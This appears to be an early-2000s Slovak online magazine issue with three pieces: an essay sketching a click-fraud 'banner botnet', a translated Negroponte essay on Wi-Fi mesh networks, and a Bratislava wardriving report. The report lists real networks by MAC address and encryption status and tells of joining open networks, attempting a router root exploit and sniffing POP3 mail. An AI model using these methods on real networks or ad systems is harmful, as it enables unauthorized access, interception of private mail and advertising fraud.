predpokladat (ak nenastane nejaka mimoriadna situacia) velkost cielovej
skupiny. existuju rozne statisticke metody, ktore dovoluju urcite sledovanost,
pripadne citanost daneho media. ovela zlozitejsie je urcit samotnu ucinnost
reklamy (kto si zapamata danu znacku, kto si produkt naozaj kupi, ...).



zadavatelia internetovej reklamy ju vedia v kazdom vacsom reklamnom systeme
pomerne dobre cielit. vedia povedat cielovu skupinu (podla toho, ako
odpovedali v anketach, na ake stranky chodia, aky operacny system pouzivaju,
cez akeho poskytovatela pripojenia su pripojeni. zatialco ,,bezna'' reklama
cieli reklamu na predpokladanu cielovu skupinu, internetova reklama je cielena
na kazdeho cloveka osobitne.




tu vsak nastava jeden zo zakladnych problemov -- preco by som chcel dovolit
nejakemu gigantickemu reklamnemu systemu vediet o mne nejake informacie? na
tento ucel vznikli systemy blokujuce reklamu. jeden z najkrajsich je urcite
junkbuster alebo jednoducho acl listy v squide.



ked je vsak mozne pouzivat sluzbu bez pozerania sa na ich reklamu, nastava tu
dost zasadna otazka: mnozstvo klientov dostava informacie bez pozerania sa na
reklamu. je to ako keby ste si po kupe casopisu carovnym prutikom odcarovali
vsetku reklamu a citali naozaj len tie informacie, ktore vas zaujimaju.



pre zadavatela reklamy aj pre prevadzkovatela sajtu je teda problemom, ci sa
niekto na reklamu pozera (zadavatel reklamy to vidi v statistikach, co ak sa
vsak tieto blokovace reklamy rozsiria natolko, ze na reklamu uz nebude pozerat
takmer nikto?). zadavatel reklamy si vsak logicky musi polozit dalsiu otazku
-- je prijemca reklamy clovek alebo stroj?.



otazka moze zniet hlupo, no reklamny obrazok si vacsinou vyziada stroj, je
vsak na nom, ci obrazok zobrazi. mozno si dany obrazok ani neziadal zobrazit
ziadny clovek. a tu je kamen urazu. podla coho plati zadavatel reklamy za
zobrazene impresie, ked v podstate nemoze vediet, ci reklamu naozaj vidi
clovek?


banner botnet



skusme si teraz v hlave naprogramovat jednoduchu siet ,,pozeracov a
odklikavacov'' bannerov. cielom siete je nazbierat clenom dostatok kreditov v
reklamnom systeme. niekolko nezavislych serverov sa bude starat o menezment
impresii. klient si vytvori na danom serveri konto. jeho klientsky program sa
s tymto kontom pripoji na server a dostane informaciu o obrazku, ktory ma
requestnut (vratane hlaviciek, ktore ma poslat). s istou pravdepodobnostou
(0.1-1.5%, co je bezny pomer odkliknutia banneru) mu zaroven prikaze po istom
case vyziadat si ine url (odkliknutie banneru). za kazdy takyto ukon dostane v
banner botnete jeden kredit. v kliente si nastavi url banneru, ktory chce,
aby mu ostatni clenovia pozerali a pripadne odklikavali. teda za kazde
vyziadanie banneru si jeho banner ,,pozrie'' niekto iny. v statistikach
reklamneho systemu sa nebude diat nic nezvycajne -- pomerne pomaly nastup
poctu impresii. klientovi, ktory takto ,,pozera'' programovo cudzie bannery
zacne rast kredit v reklamnom systeme (pretoze cely svet mu klika na bannery).
to, ze niekedy ten kredit znamena peniaze ani nebudem spominat.



samozrejme, najdu sa taki nepodstivi medzi nepodstivymi, ktori by chceli
dostavat kredit a nic neodklikavat a nerequestovat. preto server s istou
pravdepodobnostou posle linku na iny spriazneny server, ktory dane odkliknutie
overi a v pripade, ze k nemu nedoslo, klientov ucet zakaze.



v podstate jediny sposob, ako sa vymenny reklamny system moze dozvediet o tom,
ze niekto takto funguje (pri este vacsom a detailnejsom domysleni, ako tu
popisujem), je stat sa sucastou banner botnetu.



aj ked to mozno bude zniet zvlastne, v pripade, ze by sa taketo nieco stalo,
cely system bannerovych reklam (ak niekto nenajde nejake ine riesenie, ktore
by znemoznilo takyto sposob fungovania) by sa s banner botnetom zacal stale
viac a viac potapat. cena za impresiu by klesala (kedze by sa stale zvysovala
pravdepodobnost, ze si k cloveku cestu nenajde) a casom by sa tento system
cely sam potopil.



zo zaciatku by bol vsak pre ,,clenov'' velmi vyhodny, pretoze by im pomohol
skoro zadarmo (teda za pripojenie) zarobit dost impresii a ziskat reklamu na
svoje stranky. ak by nepremenil svoje stranky na iny druh zisku (napr. z
ponukania tovaru alebo informacii), mohol by zarobit predanim impresii.


buducnost internetovej reklamy



nie som jasnovidec, no v pripade, ze sa takato moznost uplatni a reklamne
agentury a zadavatelia reklamy si tuto hrozbu uvedomia, reklama na internete,
ako ju pozname teraz (a hlavne platenie za nu) uplne zanikne. pretransformuje
sa na iny druh reklamy, ktory sa takto oklamat neda -- na reklamu druhu
,,podiel z predanych vyrobkov, ktore zakupil zakaznik ktoreho ziskala reklama
na danej stranke''. v tomto pripade vyhra zadavatel reklamy a aj zakaznik --
poskytovatel obsahu bude reklamu viac cielit -- nie podla zadavatela, ale
podla toho, co si mysli, ze sa bude dobre predavat a co si mysli, ze by daneho
zakaznika mohlo zaujimat. pretoze v tomto pripade bude mat prevadzkovatel
stranok zaujem na tom, aby uzivatel nasiel to, co hlada. predstavte si to,
ziadne reklamy typu -- otvorili sme aupark na kazdej stranke. na pocitacovych
strankach bude pocitacovy tovar. uz prevadzkovatel stranok sa vam bude snazit
vybrat dobru a vyhodnu ponuku, pretoze bude vediet, ze v inom pripade si nic
nekupite.



vacsie problemy bude mat v tomto pripade prevadzkovatel stranok -- jeho zisk
bude zalezat predovsetkym od neho -- nie od poctu impresii, ale skor od
sposobu, akym dokaze predat tovar. v pripade, ze sa mu to podari, moze naozaj
dost slusne zarobit. v pripade, ze nie, ma smolu (a to mohol poskytovat aj
naozaj zaujimave a cenne informacie, len nevedel predat ziadny tovar a
nenasiel iny sposob financovania -- napr. predplatne, poskytovanie rozsirenych
sluzieb a ine).


zaver



bohuzial, neviem, ci vysledok tohto vsetkeho bude dobry alebo zly. naozaj to
neviem predpovedat. je dost mozne, ze mnozstvo dobrych sluzieb skrachuje. v
pripade, ze by tento scenar naozaj niekto zrealizoval, asi by malo vela
stranok financne problemy hlavne v case transformacie reklamneho trhu a najma
v tomto case by si mali asi hladat aj vedlajsi zdroj prijmov. prijmy z
impresii uz zdaleka nebudu primarne.



je mi naozaj luto, ze sa vzdalujeme od casov, ked na internete bolo vsetko
zadarmo a bol produkovany nadsencami, ktori nieco chceli poskytnut svetu.
takyto internet bol najlepsi. teraz, v case korporacii asi dojde k roznym
zmenam. uvidime, ako sa to cele skonci.



juraj bednar, juraj(at)bednar.sk


navrat na obsah

co ty na to ? board






preco zmeni wifi tvar telekomov



Nicholas Negroponte vysvetluje preco Wi-Fi "lekna a zaby" pretvoria buducnost telco priemyslu.



Vsetko, co ste doteraz vedeli a predpokladali o telekomunikaciach je v pohybe a zmene. Velki kablovi aj bezkablovi
operatori budu nahradeni milionmi malych mikrooperatorov, ktori budu vtiahnuti do globalnej tovarne sirokopasmoveho
(broadband) pripojenia.



Preco by sa prave toto malo stat ? Nech sa paci, tu je cely pribeh.




Za poslednych 30 rokov, telekomunikacny priemysel presiel tromi velkymi zmenami, kazdu z nich mozno nazvat epochou. Ta prva
bola digitalizacia v 70tych rokoch. Tou druhou bol prichod technologie prepinania packetov (packet switching). Ta tretia bol
nastup bezkablovej komunikacie. Kazda z nich priniesla so sebou dramaticke inovacie. Prva odstartovala popri inom multimedia,
druha priniesla nepretrzite pripojenie a tretia funkcnu mobilitu. V kombinacii s deregulaciou telekomunikacneho priemyslu tieto generacne zmeny priniesli ludom viac sluzieb za nizsie ceny. Tento fakt je najviac viditelny pri mobilnych telefonoch/komunikacii, ktora mala obrovske kulturne dosledky vsade na svete.



hlasovo centricke 3G je prilis mala zmena



Na tomto pozadi aktualneho pokroku, dnesni mobilni operatori sa pripravuju na malu, skoro az irelevantnu zmenu, k prechodu na
tzv. 3G - tretiu generaciu mobilnych telefonov a komunikacie. 3G je prilis mala zmena a uplne postrada atributy generacneho
prechodu. V case, ked prenos dat stale narasta na vyzname je 3G stale hlasovo-centricka technologia, tym vznika riziko, ze sa
nikde nikdy uplne neusadi.



vodne lekna - skutocna nasledujuca generacia



Pocitacovy priemysel zacal pred niekolkymi rokmi vyvijat popri existujucich komunikacnych protokoloch a strukturach paralelnu
a na prvy pohlad nesuvisiacu aktivitu pre bezkablove lokalne pocitacove siete (LAN) nazvalnu 802.11. Povodny zamer bol
odstranit hrce koaxialnych kablov a nutnost v?tat diery a tahat kilometre kabelaze.



Pred piatimi rokmi som si nainstaloval bezkablovu siet (wireless LAN) u seba doma v Bostone. V tom case to stalo nieco okolo
$2,000 na zakladnu stanicu a $500 za kazde zariadenie, ktore som chcel pripojit. Dnes (v USA) su tieto ceny $120 a $50 a ceny
stale klesaju. Vysledkom je, ze tento druh konektivity zacal prudko rast a konzervativne odhady hovoria len v USA o 15
milionoch wi-fi pripojeni.



lenze dosah Wi-Fi nekonci pri stenach vasho domu



Lenze systemy 802.11 � dnes pristupne vo viacerych typoch vratane 802.11b vseobecne znameho ako Wi-Fi � nekoncia svojim
dosahom stenami Vasho domu. V zavislosti od materialov stien ma jednoduche Wi-Fi dosah az okolo 300 metrov. Odkedy zijem v
oblasti s vysokou hustotou ludi, moj system dosiahne mozno 100 susedov. Platim pausal a som rad, ze sa mozem o to podelit.
(kto by nechcel bezat na rovnakej sieti s Negropontem:))



Pretoze kusok nizsie na ulici, za dosahom mojho systemu iny sused nainstalovaj svoj. A kusok dalej dalsi a dalsi. Predstavte si to ako jazierko s jednym leknom, potom s dvomi a potom so styrmi, potom sa viacere prekryvaju a svojimi vyhonkami dosiahnu do Internetu. (Analogiu s leknami vymyslel Alessandro Ovi, technologicky poradca Romana Prodiho, prezidenta Europskej Komisie.)



Pozrite sa na cisla : 3G v najsilnejsich konfiguraciach slubuje rychlost prenosu dat 1 megabit za sekundu, niekedy za 2 roky.
Wi-Fi ponuka rychlost 11 megabitov v zaklade a v silnych konfiguraciach az 54 megabitov uz dnes. co myslite, ktory standard sa
uchyti ?



zaby : skacu cez navzajom prepletene lekna



V blizkej buducnosti kazdy Wi-Fi system bude pracovat aj ako maly smerovac (router), odpovedajuci najblizsim susedom. Data a
spravy mozu skakat systemom peer-to-peer ako zaby z lekna na lekno, vyhonky uz nebudu potrebne. Bude z toho sirokopasmovy
(broadband) telekomunikacny system vytvoreny ludmi pre ludi. Telekomunikacne spolocnosti o tomto fakte velmi dobre vedia ale
podcenuju ho s argumentom nedostatocneho pokrytia siete. Mylia sa.



system vytvoreny ludmi pre ludi


Tuto peer-to-peer strukturu robia zaujimavou 3 veci. Za prve, jej tlak a obrovsky rast sa v malom stale opakuju (viral).
Opakujuce sa male telekomunikacne siete su relativne novy fenomen, kde kazdy si vybuduje svoj maly system a pripoji ho do
siete podobnych. V case ked je telekomunikacny trh v krize a investicie donho su len tie najnutnejsie, tento fakt nadobuda na
dolezitosti.



Za druhe, vykon systemu rastie s poctom pripojenych uzlov. V dnesnych typickych mobilnych sietach rast uzlov (uzivatelov)
znamena viac interferencii a pokles kvality sluzby. Vo Wi-Fi topologii viac uzlov znamena kvalitnejsiu sluzbu.



A za tretie, je tu obava z elektromagnetickeho vyzarovania. Najma Europa je extremne citliva na nezname vplyvy
elektromagnetickeho smogu. Aj v USA je pocut hlasy, ze pravidelne pouzivanie mobilnych telefonov sposobuje rakovinu mozgu. Je
faktom, ze, ze topologia multi-hop sieti (ako je Wi-Fi) potrebuje menej energie, pretoze signaly idu do mensej vzdialenosti
(su to "slabsie vysielacky"). Vyplyva z toho, ze menej vysielanej energie znamena mensie zdravotne riziko.



rybnik : zmeni prud telco priemyslu



Dnesne spektrum mobilnej komunikacie je riadene ako trh nehnutelnosti, opatrne rozparcelovane vladami. Aktualne aukcie na 3G
licencie priniesli obrovske a nerealisticke ceny za tieto siete. Pridava sa k tomu este stary sposob myslenia, ze jednotlive
sG siete budu fungovat bez vzajomnych interferencii a s vlastou suverenitou (ako GSM).




Ale prichadzaju nove sposoby procesov v rybniku, pretoze vieme pridavat stale viac a viac inteligencie a sofistikovanosti
nasim leknam a zabam skakajucim medzi nimi. Pri pouziti menej energie za nizsich cien je mozne bezkablove spektrum vyuzit
daleko viac efektivnejsie. Velmi zaujimave su oblasti, ktore mozu byt volne vyuzivane kymkolvek na cokolvek bez nutnosti
licencie. Tieto relativne male kusky pasma (chunks of bandwith) rozprestrene cez rozne frekvencie su povazovane viacmenej za
"smeti". Toto nelicencovane spektrum je vyuzivane na domacie cordless telefony, dialkove otvarace garazi, mikrovlnne rury a
velke mnozstvo dalsich nevinnych ale nepredvidatelnych pouziti.




ludia sa pri Wi-Fi experimentoch s rozprestretym spektrom CDMA naucili, ze na alokovanie (pridelovanie) frekvencneho spektra
sa mozno pozerat roznymi pohladmi. Mozno sa na ne pozerat ako na velke spolocne oblasti namiesto ako na male kusky. Striktne
hranice sa potom menia prijatelne obmedzenia. Aby nam taky system neprerastol cez hlavu a nevytvoril chaos, budu musiet
existovat obmedzenia, napriklad v mnozstve vysielanej ci pouzitej energie. Ale to je v poriadku - nikto nezacne kricat "hori"
v preplnenom divadle.



Realokovanie spektra nenastane za noc. Zamiesat obsadene elektromagneticke zony je rovnako komplikovane ako vyhladit cast
mesta, aby sa vybudoval novy park ci rekreacne centrum. Nove pohlady na tento problem maju rychlejsi efekt ak sa pozerame na
vyssie a vyssie casti spektra a pouzivame ho na kratsie a kratsie vzdialenosti.




pripojenie opakujuceho sa charakteru nelicencovaneho spektra



Tento novy sposob pohladu na pripojenie bude mat tiez vplyv na miesta, kde penetracia je bezkablovych technologii velmi mala -
paradoxne v oblastiach ozajstnych lekien a ziab, v odlahlych castiach nasho sveta. spinave male tajomstvo o 802.11b je, ze
moze dosiahnut pokrytie az 20 kilomtrov s patricne nastavenymi priamymi antenami. Predstavme si situaciu, ked bude dosah v
miestach, ktore nemaju dostatocnu komercnu hodnotu, aby tam bola zavedena klasicka infrastruktura. V tychto pripadoch sa
opakujuci sa charakter nelicencovanych telekomunikacnych systemov stane obrovskym hybatelom ludskeho vyvoja a zmeni vsetko, od
skostva az po zabavu, od nemocnic az po prenajmy priestorov. Ani by to nebolo prilis prekvapive.




nicholas negroponte (uverejnene vo wired)

preklad xalex, epoxid(at)pobox.sk, www.epoxid.sk



navrat na obsah

co ty na to ? board






wifi jazda po blave


uvod


kam sa hrabe rozvoj ethernetovych sieti spred par rokov proti momentalnemu boomu wifi networkov. to je znama vec. ale kolko toho presne poletuje v bratislavskom eteri a ako
je to zabezpecene - to sme len odhadovali. napad pobehat trochu blavu s wifi antenou v aute je pomerne stary, ale nikdy nebol cas alebo nalada spravit to. tak sme
konecne v polovici novembra dali dokopy vdacny trojlistok maniac/pajkus/antonio, nejaky ten hardware a vydali sa na nocnu jazdu po blave.


o niektorych lokalitach sme si mysleli ze budu prekypovat vzdusnym trafficom ale boli sme sklamani datovou pustatinou. na inych necakanych miestach sme zase
do minuty mali funkcnu IP adresu s pristupom na internet od nam uplne neznamych providerov, alebo sukromnych sieti. cielom nasho vyletu nebolo vytvorit komplexnu
mapu wifi sieti v bratislave, ale obehnut si zopar vytipovanych lokalit kde sme tusili ze sa mozu diat veci. a teda aj sa diali veci. ale pekne poporiadku, najprv popis nasej
vyzbroje:


vyzbroj


co sme mali so sebou:


  • podvozok naseho mobilneho sniffovacieho laboratoria tvoril kombik s foliami na oknach. v takychto chvilach sa folie fakt hodia. a este pri jednej prilezitosti, *grin*.
  • nejake tie notebooky s linuxom, windowsom a freebsd. a pridavna bateria do notebooku.
  • orinoco silver card
  • 8db omni antenu decentne pripnutu na strechu auta. vydrzalo to aj rychlu jazdu. niezeby bola rychla jazda pri skenovani ziaduca, ale ked sme isli po brnenskej
    tak nas taky husty typek na odladenom passate vyprovokoval na preteky zo semaforu. no schytal to, inac to tu nepisem. asi si myslel ze ta biela tlsta antena na
    nasej streche je vyfuk pridavneho nitroxoveho pohonu.
  • 18db parabolicka antena s vyzarovacim uhlom 7 stupnov.
  • sw vybavenie obsahovalo okrem happy mealov z mcdonaldu aj tieto tooly:



    system

    linux kernel v2.4.20-rc2 (patchnuty na wireles extensions v15)

    wireless tools v25

    patchnuty orinoco modul v jadre v0.11

    pcmcia-cs-3.2.1 s patchnutym orinoco driverom



    aplikacie

    airsnort v0.0.9

    kismet v2.6.1

    dstumbler (FreeBSD)

    ethereal v0.9.5, with GTK+ 1.2.10, with GLib 1.2.10, with libpcap 0.7, with libz 1.1.4, with UCD SNMP 4.2.5

    hunt v1.5

    ngrep v1.40.1

    nmap v3

    tcpdump v3.7.1

    netstumbler (WinXP)

    dhcpcd v.1.3.22-pl1

    epcs.c ;-)


co sme nemali so sebou a mali sme mat:


  • ked sme zapli svetlo v odstavenom aute tak sme vyzerali sakra
    napadne a obcas sa to nehodilo.. potme to bolo zase kusok o drzku. v istej chvili maniac
    zasnival o takej malej lampicke na baterky co sa da pricvaknut o notebook, ze to videl vo volakom online geek store. treba mat.
  • chybal nam nejaky sposob pripevnenia smerovej anteny na strechu auta. a este aby sa to zvnutra dalo otacat. to by sme moc chceli, co. na druhej strane by sme ludom
    nespravili take to prekvapenie ked vam o jednej rano pred domom zastane auto, vystupia z neho 3 typkovia, vylozia si na strechu metrovu antenu a 2 notebooky, nasmeruju
    to na vas dom a tvaria sa akoze pohoda.
  • gps by bolo fasa, ale aspon sme sa naucili citat nazvy ulic z polo-roztrhanej mapy blavy.
  • nemali sme hardware na chytanie breezecomov. na nich ficia niektori najvacsi isp ako trebars nextra ci profinet. breezcomy
    (po novom sa vola firma alvarion) pouzivaju frequency hopping technologiu (vyvinutu pre potreby vojenskeho priemyslu v
    irane).
  • rogalo. alebo nieco ine cim by sme chytali spojenia medzi strechami budov. tam je to asi najhustejsie. preto ked sme napriklad
    prisli plni ocakavania pod budovu technopolu, nechytili sme skoro nic, lebo vsetko sa odohravalo vysoko nad nami.
  • auto-adapter na notebook. potom by sa nam nebolo stalo ze v tej najnevhodnejsej chvili ked sa riesil root exploit na linuxovom routeri cez chytenu wifi siet prisiel ujo
    murphy a s potmehudskym usmevom zariadil ze maniacovi skapala baterka na notebooku. a to uz sa vlastne dostavam k samotnym zazitkom zo skenovania, najprv ze ako sme to vlastne robili:


metodika



popri vychadzkovej plavbe s omni antenou na streche po bratislavskych
nocnych uliciach nam z casu na cas (dooost casto) do usi zapipal prijemny
zvuk netstumbleru, ktory oznamoval ze mame signal nejakej sietky. v pripade
ze signal stal za rec a nazov (essid) danej rybarskej siete naznacoval
zaujimavy ulovok, tak sme odparkovali nase mobilne sniffovacie laboratorium
a switchli sa do unixoidnejsieho prostredia kde sa predsa len citime
trosilinka komfortnejsie ;) ono ten netstumbler pod ixpeckami sme pouzivali
prave koli tomu ze funguje pekne samostatne bez nejakej nutnej interakcie.



pod linuxom nam utilitka kismet pekne posniffovala traffic odohravajuci sa
na konkretnom 802.11b-ckovom kanaly, alebo sme cez kismet_hopper cyklicky
cuchali vsetky kanaly. nasledoval nas kamarat tcpdump, ktory porozpraval o
ip adresach, ktore na danej sieti komunikovali. obcas sme dokonca dostali
pomocou dhcp pridelenu ip adresu a gateway, tu musim poznamenat, ze ked som
bol obuty v xp-ckach a isli sme okolo ekonomickej fakulty BA, tak som sa az mykol
ked sa mi zrazu samo otvorilo icq a nabehol som online - darmo, eXPerience sa
nezaprie svojimi luserfriendly ficurami :-) no ale aby som presiel k teme,
tak pri tcpdumpe sme si vyhliadli nejake volne ipecky, domysleli si masku
siete a typli branu. samozrejme icmp-mask-request a nmap obcas zafungovali
tiez, ked uz dochadzala fantazia :)) v niektorych lokalitach fical naozaj
zaujimavy traffic a tak sme cez ethereal pokukali zopar pop3 paketov, ktore
smazili outlooky na workstejsnoch co ostali po firmach na weekend pozapinane...


zoznam skenovanych lokalit s poznamkami


nasleduje zoznam miest kde sme pobehovali s antenou. asi by bolo putavejsie pisat ich v chronologickom poradi podla toho ako sme ich obehavali, ale vobec si nepamatam
postupnost lokalit, kedze sme to rozdelili na dve noci a jazdili sme dost cik-cakovito. treba tiez povedat ze ziadnej sieti sme sa velmi zdlhavo nevenovali. skusili sme sa
prihlasit a po prihlaseni si tipnut alebo vysniffovat netmask a gateway.. kazdej sieti sme venovali tak maximalne minutku-dve. takze
ak sa povenujete konkretnej sieti dlhsie, pravdepodobnost je za dostanete dalej.. takze voila v kvazi-abecednom poradi:



lokalita: bajkalska ulica, esso pumpa
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas0 00:02:78:e2:00:31 8 samsung ap nie
bratislava 00:02:78:f3:b5:12 3 samsung ap ano
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie
--------------------------------------------------------------------------------
poznamka: mile je ze nam euroweb nazvy povedia presnu polohu, smerovanie a typ
anteny

lokalita: botanicka ulica, pri omv pumpe
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
borik 00:60:b3:16:66:0a 9 z-com ap nie
PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie
--------------------------------------------------------------------------------
poznamky: borik vysielal niekde z oblasti fyzickeho kopca borik. PRIFUKAP je zjavne
siet prirodovedeckej fakulty uk.

lokalita: roh brnianska-jasenova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie
metror 00:60:b3:66:12:a6 8 z-com ap nie
--------------------------------------------------------------------------------
poznamka: na metror sme sa uspesne napichli. tu su udaje k spojeniu:

eth1 IEEE 802.11-DS ESSID:"metror" Nickname:"HERMES I"
Mode:Managed Frequency:2.447GHz Access Point: 00:60:B3:66:12:A6
Bit Rate:11Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:21/92 Signal level:-74 dBm Noise level:-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:98
Tx excessive retries:374 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaaddr 00-02-2D-2E-BA-BE
inet addr:62.168.108.237 Bcast:62.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:21748 errors:6082 dropped:0 overruns:0 frame:6061
TX packets:5044 errors:206014 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:10429536 (9.9 Mb) TX bytes:718511 (701.6 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

62.168.108.1 asi gw
62.168.108.2 nameserver a bezi tam nejaky icmp monitoring
62.168.108.140 a 62.168.108.238 aktivne hosty na sieti (WWW+m$ domena na 198.16.x.x)

lokalita: roh broskynova-mudronova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
borik 00:60:b3:16:66:0a 9 z-com ap nie
finger 00:02:78:e1:10:36 9 samsung ap nie
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
--------------------------------------------------------------------------------

lokalita: cesta z koliby dole (take to otvorene miesto s fajn vyhladom na mesto)
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
1034 00:40:96:44:4e:4d 10 cisco (aironet) ap nie
b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie
vsesmer 00:02:78:e1:45:bc 3 samsung ap nie
fab30 00:30:4f:1c:2f:d9 1 ap nie
Effect Network 00:02:2d:4c:41:be 13 agere (lucent) orinoco ap nie
007SOU 00:02:78:e1:d3:f0 3 samsung ap nie
rainap 00:02:78:e0:34:af 3 samsung ap nie
default 00:60:b3:10:05:a0 13 z-com peer nie
realnetds3 00:40:96:58:43:01 1 cisco (aironet) ap nie
realnetdsds 56:01:c2:01:c7:01 9 peer nie
accessmelli 00:02:78:e1:45:ca 11 samsung ap nie
jan 00:60:b3:4f:08:69 3 z-com ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
mgfh4ec5 00:00:f0:64:0a:e6 11 samsung peer nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
txsotoavi 00:90:4b:0b:5b:f0 5 gemtek (d-link) ap ano
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamka: tak toto je miesto s najvacsou viditelnostou wifi sieti v bratislave.
tu sme chytali 2-3 siete aj volne na notebook bez anteny.

lokalita: na tej istej ceste z koliby, ale kusok nizsie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco peer ano
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
default 00:60:b3:10:05:a0 13 z-com peer nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
mgfh4ec5 00:00:f0:64:0a:e6 11 samsung ap nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
blabla 00:60:b3:16:84:cf 3 z-com ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------
poznamka: siet "metrom" nebola ojedinela, po celej blave sme nachadzali siete s
nazvom "metroX" ako metros, metror, metroc, atd. patriace nejakej firme Grid. na
metror sme sa pripojili pri savke, viz prislusna poznamka. na metros sme sa tiez
napichli, tu su udaje:

eth1 IEEE 802.11-DS ESSID:"metros" Nickname:"HERMES I"
Mode:Managed Frequency:2.432GHz Access Point: 00:60:B3:66:12:A5
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:8/92 Signal level:-89 dBm Noise level:-97 dBm
Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953
Tx excessive retries:35 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:37965 errors:68168 dropped:0 overruns:0 frame:68167
TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:5044638 (4.8 Mb) TX bytes:625024 (610.3 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

lokalita: dolnozemska pri pumpach slovnaft
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DOM 00:90:4b:08:0b:86 1 gemtek (d-link) ap nie
hony 00:60:1d:03:6b:e1 3 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------

lokalita: drienova ulica oproti hotelu junior
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
govline 00:02:78:e0:34:82 6 samsung ap nie
norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano
tomas0 00:02:78:e2:00:31 8 samsung ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
--------------------------------------------------------------------------------
poznamka: na drienovej sme cakali kusok viac, kedze tu sidli zopar pocitacovych
firiem a nejake to ministerstvo. chytili sme akurat silne anteny z bajkalskej.

lokalita: drotarska cesta - mozartova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie
martineg 00:02:78:e1:10:23 1 samsung ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vlado3 96:57:4d:00:00:00 10 peer nie
duran1 00:a0:c5:42:ef:6c 6 ap nie
--------------------------------------------------------------------------------
poznamka: eunet omni antenu z vyskovej budovy stv sme chytali strasne daleko. nech
ma slaktrafi ak touto antenou eunet neporusuje maximalne normy. raz nam budu na
hlavach kvitnut karfioly z toho co nam teraz lieta v eteri.

lokalita: drotarska cesta - prvosienkova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
duran1 00:a0:c5:42:ef:6c 6 ap nie
